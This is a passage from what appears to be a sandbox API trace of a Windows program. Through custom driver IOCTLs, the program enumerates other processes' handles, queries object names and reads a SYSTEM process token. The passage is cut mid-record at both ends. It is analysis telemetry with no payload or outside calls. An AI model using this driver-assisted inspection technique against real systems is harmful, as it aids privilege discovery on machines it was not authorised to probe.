lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0064.966] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.966] PsAcquireProcessExitSynchronization () returned 0x0 [0064.966] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0) [0065.428] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8007591b60, HandleInformation=0x0) returned 0x0 [0065.428] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0065.428] PsReleaseProcessExitSynchronization () returned 0x2 [0065.428] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0065.428] ObQueryNameString (in: Object=0xfffffa8007591b60, ObjectNameInfo=0xfffffa80038fb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0065.428] ObfDereferenceObject (Object=0xfffffa8007591b60) returned 0x1 [0065.428] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0065.428] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0065.428] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0065.428] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0065.428] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0065.428] PsAcquireProcessExitSynchronization () returned 0x0 [0065.428] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0) [0065.829] ObReferenceObjectByHandle (in: Handle=0x14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800483e9b0, HandleInformation=0x0) returned 0x0 [0065.829] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0065.829] PsReleaseProcessExitSynchronization () returned 0x2 [0065.829] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0065.829] ObQueryNameString (in: Object=0xfffffa800483e9b0, ObjectNameInfo=0xfffffa8003960284, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003960284, ReturnLength=0xfffff880054f8550) returned 0x0 [0065.829] ObfDereferenceObject (Object=0xfffffa800483e9b0) returned 0x1 [0065.829] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0065.829] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0065.829] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0065.829] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0065.829] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0065.829] PsAcquireProcessExitSynchronization () returned 0x0 [0065.829] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0) [0066.091] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8006dffbe0, HandleInformation=0x0) returned 0x0 [0066.091] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0066.091] PsReleaseProcessExitSynchronization () returned 0x2 [0066.091] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x16 [0066.091] ObQueryNameString (in: Object=0xfffffa8006dffbe0, ObjectNameInfo=0xfffffa80038fb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0066.091] ObfDereferenceObject (Object=0xfffffa8006dffbe0) returned 0x1 [0066.091] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0066.091] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0066.091] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0066.093] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0066.093] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0066.093] PsAcquireProcessExitSynchronization () returned 0x0 [0066.093] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0) [0066.704] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8006dffa90, HandleInformation=0x0) returned 0x0 [0066.704] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0066.704] PsReleaseProcessExitSynchronization () returned 0x2 [0066.704] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x17 [0066.704] ObQueryNameString (in: Object=0xfffffa8006dffa90, ObjectNameInfo=0xfffffa8003960284, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003960284, ReturnLength=0xfffff880054f8550) returned 0x0 [0066.704] ObfDereferenceObject (Object=0xfffffa8006dffa90) returned 0x1 [0066.704] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0066.704] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0066.705] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0066.705] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0066.705] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0066.705] PsAcquireProcessExitSynchronization () returned 0x0 [0066.705] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0) [0066.945] ObReferenceObjectByHandle (in: Handle=0x20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8006dff940, HandleInformation=0x0) returned 0x0 [0066.945] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0066.945] PsReleaseProcessExitSynchronization () returned 0x2 [0066.945] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x17 [0066.945] ObQueryNameString (in: Object=0xfffffa8006dff940, ObjectNameInfo=0xfffffa80038fb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0066.945] ObfDereferenceObject (Object=0xfffffa8006dff940) returned 0x1 [0066.945] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0066.945] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0066.945] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0066.945] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0066.945] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0066.945] PsAcquireProcessExitSynchronization () returned 0x0 [0066.945] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0) [0067.597] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8006dff7f0, HandleInformation=0x0) returned 0x0 [0067.597] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0067.598] PsReleaseProcessExitSynchronization () returned 0x2 [0067.598] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x17 [0067.598] ObQueryNameString (in: Object=0xfffffa8006dff7f0, ObjectNameInfo=0xfffffa8003960284, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003960284, ReturnLength=0xfffff880054f8550) returned 0x0 [0067.598] ObfDereferenceObject (Object=0xfffffa8006dff7f0) returned 0x1 [0067.598] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0067.598] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0067.598] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0067.598] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0067.598] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0067.598] PsAcquireProcessExitSynchronization () returned 0x0 [0067.598] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0) [0067.766] ObReferenceObjectByHandle (in: Handle=0x28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8006dff6a0, HandleInformation=0x0) returned 0x0 [0067.766] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0067.766] PsReleaseProcessExitSynchronization () returned 0x2 [0067.766] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x17 [0067.766] ObQueryNameString (in: Object=0xfffffa8006dff6a0, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0067.768] ObfDereferenceObject (Object=0xfffffa8006dff6a0) returned 0x1 [0067.768] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0067.768] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0067.768] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0067.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0067.768] PsLookupProcessByProcessId (in: ProcessId=0x104, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0067.768] PsAcquireProcessExitSynchronization () returned 0x0 [0067.768] KeStackAttachProcess (in: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002b79b30, ApcState=0xfffff880054f85d0) [0068.057] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a00029b610, HandleInformation=0x0) returned 0x0 [0068.057] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.057] PsReleaseProcessExitSynchronization () returned 0x2 [0068.057] ObfDereferenceObject (Object=0xfffffa8002b79b30) returned 0x18 [0068.057] ObQueryNameString (in: Object=0xfffff8a00029b610, ObjectNameInfo=0xfffffa8003900044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003900044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.057] ObfDereferenceObject (Object=0xfffff8a00029b610) returned 0x1 [0068.057] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.057] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.057] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x148) returned 0xc0 [0068.057] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0068.057] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa8002ef9060, HandleInformation=0x0) returned 0x0 [0068.057] ObOpenObjectByPointer (in: Object=0xfffffa8002ef9060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff800009c4) returned 0x0 [0068.057] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x81 [0068.057] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009c4, DesiredAccess=0x8, TokenHandle=0xfffffa80037ef100 | out: TokenHandle=0xfffffa80037ef100*=0xc8) returned 0x0 [0068.057] ZwClose (Handle=0xffffffff800009c4) returned 0x0 [0068.057] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.058] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0068.058] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0068.059] CloseHandle (hObject=0xc8) returned 1 [0068.059] CloseHandle (hObject=0xc0) returned 1 [0068.059] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.059] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0068.059] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.059] PsAcquireProcessExitSynchronization () returned 0x0 [0068.059] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.060] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002ef0860, HandleInformation=0x0) returned 0x0 [0068.060] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.060] PsReleaseProcessExitSynchronization () returned 0x2 [0068.060] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.060] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800394a044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800394a044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.060] ObfDereferenceObject (Object=0xfffffa8002ef0860) returned 0x1 [0068.060] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.060] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.060] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x36, lpOverlapped=0x0) returned 1 [0068.060] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.060] PsAcquireProcessExitSynchronization () returned 0x0 [0068.060] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.060] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a004a4c080, HandleInformation=0x0) returned 0x0 [0068.060] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.060] PsReleaseProcessExitSynchronization () returned 0x2 [0068.060] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.060] ObQueryNameString (in: Object=0xfffff8a004a4c080, ObjectNameInfo=0xfffffa800394b044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800394b044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.060] ObfDereferenceObject (Object=0xfffff8a004a4c080) returned 0x2 [0068.060] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.060] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.060] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.060] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.060] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.060] PsAcquireProcessExitSynchronization () returned 0x0 [0068.060] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.060] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a004a076a0, HandleInformation=0x0) returned 0x0 [0068.060] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.060] PsReleaseProcessExitSynchronization () returned 0x2 [0068.060] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.061] ObQueryNameString (in: Object=0xfffff8a004a076a0, ObjectNameInfo=0xfffffa800394c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800394c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.061] ObfDereferenceObject (Object=0xfffff8a004a076a0) returned 0x1 [0068.061] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.061] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.061] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.061] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.061] PsAcquireProcessExitSynchronization () returned 0x0 [0068.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.061] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003050460, HandleInformation=0x0) returned 0x0 [0068.061] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.061] PsReleaseProcessExitSynchronization () returned 0x2 [0068.061] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.061] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003955044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003955044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.061] ObfDereferenceObject (Object=0xfffffa8003050460) returned 0x1 [0068.061] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.061] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.061] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.061] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.061] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.061] PsAcquireProcessExitSynchronization () returned 0x0 [0068.061] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.061] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0089823f0, HandleInformation=0x0) returned 0x0 [0068.061] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.061] PsReleaseProcessExitSynchronization () returned 0x2 [0068.061] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.061] ObQueryNameString (in: Object=0xfffff8a0089823f0, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.061] ObfDereferenceObject (Object=0xfffff8a0089823f0) returned 0x1 [0068.061] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.061] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.061] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0068.062] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.062] PsAcquireProcessExitSynchronization () returned 0x0 [0068.062] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880054f85d0) [0068.062] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a008985b00, HandleInformation=0x0) returned 0x0 [0068.062] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.062] PsReleaseProcessExitSynchronization () returned 0x2 [0068.062] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.062] ObQueryNameString (in: Object=0xfffff8a008985b00, ObjectNameInfo=0xfffffa8003960284, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003960284, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.062] ObfDereferenceObject (Object=0xfffff8a008985b00) returned 0x1 [0068.062] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.062] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.062] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.062] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, 